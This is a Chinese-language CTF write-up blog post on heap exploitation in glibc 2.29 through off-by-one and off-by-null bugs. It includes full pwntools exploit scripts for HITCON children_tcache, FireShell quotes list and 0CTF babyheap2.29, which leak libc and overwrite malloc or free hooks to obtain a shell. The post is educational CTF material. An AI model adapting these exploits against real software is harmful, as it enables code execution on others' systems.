19 Feb 2020

glibc2.29-off by one

#glibc2.29-off by one

Hitcon2018 children_tcache

无内鬼,先来个glibc2.27-off by null

size可以超tcache范围,那👴必超tcache

两个大的夹一个小的,下面放一个防止和top chunk合并

free0,在1off by null,free2,unlink,取回来,double free

在free的时候有一个写\xda的操作,需要多次malloc free清除prev_size中的\xda

from pwn import *

r = remote('node3.buuoj.cn',25603)
#r = process('./HITCON_2018_children_tcache')
elf = ELF('./HITCON_2018_children_tcache')
libc = ELF('/libc-2.27.so')

def add(size,data):
    r.sendlineafter('Your choice: ','1')
    r.sendlineafter('Size:',str(size))
    r.sendafter('Data:',data)

def show(index):
    r.sendlineafter('Your choice: ','2')
    r.sendlineafter('Index:',str(index))

def free(index):
    r.sendlineafter('Your choice:','3')
    r.sendlineafter('Index:',str(index))

add(0x420,'fuck')
add(0x78,'fuck')
add(0x4f0,'fuck')
add(0x20,'fuck')
free(1)
free(0)
for i in range(9):#fuck \xda
    add(0x78 - i, 'b' * (0x78 - i))
    free(0)
add(0x78,'b'*0x70+p64(0x4b0))#0
free(2)
add(0x420,'fuck')#1
show(0)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
log.success(hex(libc_base))
add(0x78,'wdnmd')#2
free(0)
free(2)

one = libc_base + 0x4f322
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success(hex(malloc_hook))
add(0x78,p64(malloc_hook))
add(0x78,'fuck')
add(0x78,p64(one))

r.sendlineafter('Your choice: ','1')
r.sendlineafter('Size:','233')
r.interactive()

/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

相比2.27,新增

  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

在2.27中,off by null overlapping基本操作

  1. malloc A B C,freeA,A进unsorted bin
  2. 在B中伪造C的prev_size,off by null覆盖C的prev_inuse
  3. free C,A、B、C unlink
  4. malloc,把A、B、C取回来,之前的B并没有free,就得到了两个B

在第三步,根据C的prev_size找到A,然后直接unlink

在2.29中,新增了对size的检查,第三步,根据C的prev_size找到A,然后检查A的size和prev_size是否相等,不相等直接gg,如果👴想像2.27一样overlapping,👴还需要去伪造A的size

解决方案

off by one

众所周知off by one比off by null白给,如果是off by one,👴就能在A前面的chunk中off by one改A的size

  1. malloc X A B C,freeA,A进unsorted bin
  2. 在X中off by one改Asize
  3. 在B中伪造C的prev_size,off by one把C prev_inuse改成0
  4. free C,A、B、C unlink
  5. malloc,把A、B、C取回来,得到两个B

改size使一个chunk包上后面的chunk也⭐

  1. malloc A B C
  2. 在A中off by one,改B size
  3. free B,把BC取回来,得到两个C

####FireShell CTF 2019 - quotes list

from pwn import *
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./quotes_list'])
libc = ELF('/pwnlib/libc.so.6')

def add(length,note):
     r.sendlineafter('> ','1')
     r.sendlineafter(': ',str(length))
     r.sendafter(': ',note)
def edit(index,note):
     r.sendlineafter('> ','2')
     r.sendlineafter(': ',str(index))
     r.sendafter(': ',note)
def show(index):
     r.sendlineafter('> ','3')
     r.sendlineafter(': ',str(index))
     r.recvuntil('Quote: ')

def free(index):
     r.sendlineafter('> ','4')
     r.sendlineafter(': ',str(index))

add(0x500,'fuck')
add(0x500,'fuck')
free(0)
add(0x500,'aaaaaaa\n')
show(0)
r.recvuntil('aaaaaaa\n')
libc_base = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
log.success(hex(free_hook))
free(0)
free(1)
free(2)


add(0x48,'fuck')#0

add(0x500,'fuck')#1
add(0x48,'fuck')#2
edit(0,'a'*0x48+'\x61')
free(1)

add(0x500,'fuck')#1
add(0x48,'fuck')#3 2
free(3)

edit(2,p64(free_hook))
add(0x48,'/bin/sh\x00')

add(0x48,p64(system))
free(3)

r.interactive()

off by null

伪造一个unsorted bin,再伪造prev_size,unlink时根据prev_size找到伪造的chunk,过check

伪造unsorted bin时fd和bk指向自己,fd->bk = bk->fd = p,这种方法需要堆地址白给

  1. malloc A B C
  2. 在A中伪造fake chunk,size和将要伪造的prev_size相同,fd和bk都指向自己
  3. 在B中伪造C的prev_size,off by one把C prev_inuse改成0
  4. free C,fake chunk、B、C unlink
  5. malloc,把fake chunk、B、C 取回来,得到两个B

0CTF2019 Final babyheap2.29

edit存在off by null

add和edit分开,可以add free add show泄露heap和libc

伪造

pwndbg> x/128gx 0x555555559f50
0x555555559f50:	0x0000000000000000	0x0000000000000101//10
0x555555559f60:	0x0000000000000000	0x00000000000001f1//fake
0x555555559f70:	0x0000555555559f60	0x0000555555559f60//fake_fd fake_bk
0x555555559f80:	0x0000000000000000	0x0000000000000000
0x555555559f90:	0x0000000000000000	0x0000000000000000
0x555555559fa0:	0x0000000000000000	0x0000000000000000
0x555555559fb0:	0x0000000000000000	0x0000000000000000
0x555555559fc0:	0x0000000000000000	0x0000000000000000
0x555555559fd0:	0x0000000000000000	0x0000000000000000
0x555555559fe0:	0x0000000000000000	0x0000000000000000
0x555555559ff0:	0x0000000000000000	0x0000000000000000
0x55555555a000:	0x0000000000000000	0x0000000000000000
0x55555555a010:	0x0000000000000000	0x0000000000000000
0x55555555a020:	0x0000000000000000	0x0000000000000000
0x55555555a030:	0x0000000000000000	0x0000000000000000
0x55555555a040:	0x0000000000000000	0x0000000000000000
0x55555555a050:	0x0000000000000000	0x0000000000000101//11
0x55555555a060:	0x6161616161616161	0x6161616161616161
0x55555555a070:	0x6161616161616161	0x6161616161616161
0x55555555a080:	0x6161616161616161	0x6161616161616161
0x55555555a090:	0x6161616161616161	0x6161616161616161
0x55555555a0a0:	0x6161616161616161	0x6161616161616161
0x55555555a0b0:	0x6161616161616161	0x6161616161616161
0x55555555a0c0:	0x6161616161616161	0x6161616161616161
0x55555555a0d0:	0x6161616161616161	0x6161616161616161
0x55555555a0e0:	0x6161616161616161	0x6161616161616161
0x55555555a0f0:	0x6161616161616161	0x6161616161616161
0x55555555a100:	0x6161616161616161	0x6161616161616161
0x55555555a110:	0x6161616161616161	0x6161616161616161
0x55555555a120:	0x6161616161616161	0x6161616161616161
0x55555555a130:	0x6161616161616161	0x6161616161616161
0x55555555a140:	0x6161616161616161	0x6161616161616161
0x55555555a150:	0x00000000000001f0	0x0000000000000100//12
0x55555555a160:	0x0000000000000000	0x0000000000000000
0x55555555a170:	0x0000000000000000	0x0000000000000000
0x55555555a180:	0x0000000000000000	0x0000000000000000
0x55555555a190:	0x0000000000000000	0x0000000000000000
//0x55555555a150 - 0x1f0 = 0x555555559f60

overlapping,uaf,改fd打free_hook

from pwn import *

r = process('./babyheap2.29')
elf = ELF('./babyheap2.29')
libc = ELF('libc-2.29.so')

def add(size):
    r.sendlineafter('Command: ','1')
    r.sendlineafter('Size: ',str(size))

def edit(index,content):
    r.sendlineafter('Command: ','2')
    r.sendlineafter('Index: ',str(index))
    r.sendlineafter('Size: ',str(len(content)))
    r.sendafter('Content: ',content)

def free(index):
    r.sendlineafter('Command: ','3')
    r.sendlineafter('Index: ',str(index))

def show(index):
    r.sendlineafter('Command: ','4')
    r.sendlineafter('Index: ',str(index))


add(0x500)
add(0x40)
free(0)
add(0x500)
show(0)
r.recvuntil(']: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))
libc_base = leak - 0x1e4ca0
log.success(hex(libc_base))

add(0x40)
add(0x40)
free(1)
free(2)
add(0x40)#1
show(1)
r.recvuntil(']: ')
heap_base = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))-0x770
log.success(hex(heap_base))


for i in range(13):
  add(0xf8)

free(2)
for i in range(4,10):
  free(i)


edit(11,'a'*0xf0 + p64(0x1f0))

fake = p64(0x0)+p64(0x1f1)+p64(heap_base+0xf60)+p64(heap_base+0xf60)
edit(10,fake)
r.interactive()

free(12)
add(0xe8)
for i in range(7):
    add(0xf8)
    log.info(r.recvline())
free(1)
add(0xf8)#1


free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

log.success(hex(free_hook))
free(4)
free(5)
free(6)

free(11)
edit(1,p64(free_hook))
add(0xf8)
add(0xf8)#5
log.info(r.recvline())
edit(5,p64(system))
edit(7,'/bin/sh\x00')
free(7)
r.interactive()

无堆地址泄露off by null

large bin残留指针+heap fengshui

  1. 在large bin上取出来一个A,此时有A B C,准备在A中构造fake chunk,fake chunk地址为A+0x10,在B中off by null,fake chunk、B、C unlink
  2. 在A构造fake chunk,A的bk为size,部分覆盖A的fd_nextsize,使其指向一个bk可控的chunk X
  3. 部分覆盖chunk X的bk,使其指向fake chunk
  4. A的bk_nextsize没有修改,指向A,需要使A的fd指向fake chunk,利用fast bin的链表特性使A的fd指向A+0x10
  5. 此时fake->fd->bk = fake->bk->fd = fake,free C,unlink

Balsn CTF 2019 PlainNote


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).